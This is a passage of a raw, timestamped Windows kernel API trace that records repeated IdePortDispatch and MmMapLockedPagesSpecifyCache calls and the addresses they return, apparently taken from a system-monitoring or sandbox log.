IdePortDispatch () returned 0x103 [0109.276] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4c000 [0109.277] IdePortDispatch () returned 0x103 [0109.278] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c92000 [0109.278] IdePortDispatch () returned 0x103 [0109.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0109.279] IdePortDispatch () returned 0x103 [0109.281] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca5000 [0109.281] IdePortDispatch () returned 0x103 [0109.413] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7c000 [0109.413] IdePortDispatch () returned 0x103 [0109.423] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b88000 [0109.423] IdePortDispatch () returned 0x103 [0109.428] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8b000 [0109.428] IdePortDispatch () returned 0x103 [0109.443] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdb000 [0109.444] IdePortDispatch () returned 0x103 [0109.449] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce1000 [0109.449] IdePortDispatch () returned 0x103 [0109.450] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce4000 [0109.450] IdePortDispatch () returned 0x103 [0109.451] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce8000 [0109.451] IdePortDispatch () returned 0x103 [0109.453] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cea000 [0109.453] IdePortDispatch () returned 0x103 [0109.455] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cec000 [0109.455] IdePortDispatch () returned 0x103 [0109.456] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cef000 [0109.456] IdePortDispatch () returned 0x103 [0109.459] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf2000 [0109.459] IdePortDispatch () returned 0x103 [0109.461] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf4000 [0109.461] IdePortDispatch () returned 0x103 [0109.462] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf7000 [0109.462] IdePortDispatch () returned 0x103 [0109.462] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf9000 [0109.462] IdePortDispatch () returned 0x103 [0109.463] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfd000 [0109.463] IdePortDispatch () returned 0x103 [0109.464] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d00000 [0109.464] IdePortDispatch () returned 0x103 [0109.464] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d03000 [0109.464] IdePortDispatch () returned 0x103 [0109.465] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d06000 [0109.465] IdePortDispatch () returned 0x103 [0109.466] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d09000 [0109.466] IdePortDispatch () returned 0x103 [0109.466] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0c000 [0109.466] IdePortDispatch () returned 0x103 [0109.467] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d10000 [0109.467] IdePortDispatch () returned 0x103 [0109.468] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0109.468] IdePortDispatch () returned 0x103 [0109.483] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f0000 [0109.483] IdePortDispatch () returned 0x103 [0109.484] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003515000 [0109.484] IdePortDispatch () returned 0x103 [0109.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800351a000 [0109.486] IdePortDispatch () returned 0x103 [0109.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003523000 [0109.492] IdePortDispatch () returned 0x103 [0109.493] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003525000 [0109.493] IdePortDispatch () returned 0x103 [0109.494] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003527000 [0109.494] IdePortDispatch () returned 0x103 [0109.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353d000 [0109.496] IdePortDispatch () returned 0x103 [0109.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003556000 [0109.497] IdePortDispatch () returned 0x103 [0109.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003559000 [0109.498] IdePortDispatch () returned 0x103 [0109.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355c000 [0109.498] IdePortDispatch () returned 0x103 [0109.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355f000 [0109.499] IdePortDispatch () returned 0x103 [0109.502] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003562000 [0109.502] IdePortDispatch () returned 0x103 [0109.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003565000 [0109.503] IdePortDispatch () returned 0x103 [0109.504] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003568000 [0109.504] IdePortDispatch () returned 0x103 [0109.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356b000 [0109.506] IdePortDispatch () returned 0x103 [0109.507] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356e000 [0109.507] IdePortDispatch () returned 0x103 [0109.508] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003571000 [0109.508] IdePortDispatch () returned 0x103 [0109.509] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003574000 [0109.509] IdePortDispatch () returned 0x103 [0109.557] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d25000 [0109.557] IdePortDispatch () returned 0x103 [0109.557] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d28000 [0109.557] IdePortDispatch () returned 0x103 [0109.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2b000 [0109.558] IdePortDispatch () returned 0x103 [0109.560] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2d000 [0109.560] IdePortDispatch () returned 0x103 [0109.561] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2f000 [0109.561] IdePortDispatch () returned 0x103 [0109.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d32000 [0109.562] IdePortDispatch () returned 0x103 [0109.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0109.563] IdePortDispatch () returned 0x103 [0109.564] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d38000 [0109.564] IdePortDispatch () returned 0x103 [0109.570] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5e000 [0109.570] IdePortDispatch () returned 0x103 [0109.572] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d60000 [0109.572] IdePortDispatch () returned 0x103 [0109.573] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d63000 [0109.573] IdePortDispatch () returned 0x103 [0109.576] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d66000 [0109.576] IdePortDispatch () returned 0x103 [0109.578] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dad000 [0109.578] IdePortDispatch () returned 0x103 [0109.579] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db0000 [0109.579] IdePortDispatch () returned 0x103 [0109.586] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db5000 [0109.586] IdePortDispatch () returned 0x103 [0109.589] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db8000 [0109.589] IdePortDispatch () returned 0x103 [0109.589] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dbb000 [0109.589] IdePortDispatch () returned 0x103 [0109.591] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0109.591] IdePortDispatch () returned 0x103 [0109.592] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de2000 [0109.592] IdePortDispatch () returned 0x103 [0109.592] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de5000 [0109.593] IdePortDispatch () returned 0x103 [0109.593] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de8000 [0109.593] IdePortDispatch () returned 0x103 [0109.596] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dec000 [0109.596] IdePortDispatch () returned 0x103 [0109.597] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0109.597] IdePortDispatch () returned 0x103 [0109.599] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003462000 [0109.599] IdePortDispatch () returned 0x103 [0109.603] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ab000 [0109.603] IdePortDispatch () returned 0x103 [0109.606] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f2000 [0109.606] IdePortDispatch () returned 0x103 [0109.607] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f5000 [0109.607] IdePortDispatch () returned 0x103 [0109.612] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353f000 [0109.612] IdePortDispatch () returned 0x103 [0109.622] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0109.622] IdePortDispatch () returned 0x103 [0109.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a6000 [0109.624] IdePortDispatch () returned 0x103 [0109.625] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a9000 [0109.625] IdePortDispatch () returned 0x103 [0109.638] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ad000 [0109.638] IdePortDispatch () returned 0x103 [0109.640] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000a03000 [0109.640] IdePortDispatch () returned 0x103 [0109.641] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b06000 [0109.641] IdePortDispatch () returned 0x103 [0109.644] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b08000 [0109.644] IdePortDispatch () returned 0x103 [0109.645] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b0a000 [0109.645] IdePortDispatch () returned 0x103 [0109.645] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b0c000 [0109.645] IdePortDispatch () returned 0x103 [0109.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b0e000 [0109.646] IdePortDispatch () returned 0x103 [0109.648] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b10000 [0109.648] IdePortDispatch () returned 0x103 [0109.648] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b12000 [0109.648] IdePortDispatch () returned 0x103 [0109.649] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b15000 [0109.649] IdePortDispatch () returned 0x103 [0109.650] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b17000 [0109.650] IdePortDispatch () returned 0x103 [0109.651] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b1a000 [0109.651] IdePortDispatch () returned 0x103 [0109.651] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b1d000 [0109.651] IdePortDispatch () returned 0x103 [0109.653] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b63000 [0109.653] IdePortDispatch () returned 0x103 [0109.656] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b65000 [0109.656] IdePortDispatch () returned 0x103 [0109.656] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b67000 [0109.656] IdePortDispatch () returned 0x103 [0109.657] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6a000 [0109.657] IdePortDispatch () returned 0x103 [0109.660] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6d000 [0109.660] IdePortDispatch () returned 0x103 [0109.661] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6f000 [0109.661] IdePortDispatch () returned 0x103 [0109.662] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b72000 [0109.662] IdePortDispatch () returned 0x103 [0109.663] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b75000 [0109.663] IdePortDispatch () returned 0x103 [0109.663] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b79000 [0109.663] IdePortDispatch () returned 0x103 [0109.664] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7c000 [0109.664] IdePortDispatch () returned 0x103 [0109.667] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf7000 [0109.667] IdePortDispatch () returned 0x103 [0109.668] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf9000 [0109.668] IdePortDispatch () returned 0x103 [0109.668] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfb000 [0109.669] IdePortDispatch () returned 0x103 [0109.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfd000 [0109.669] IdePortDispatch () returned 0x103 [0109.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c01000 [0109.670] IdePortDispatch () returned 0x103 [0109.671] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c04000 [0109.671] IdePortDispatch () returned 0x103 [0109.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c65000 [0109.673] IdePortDispatch () returned 0x103 [0109.674] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, 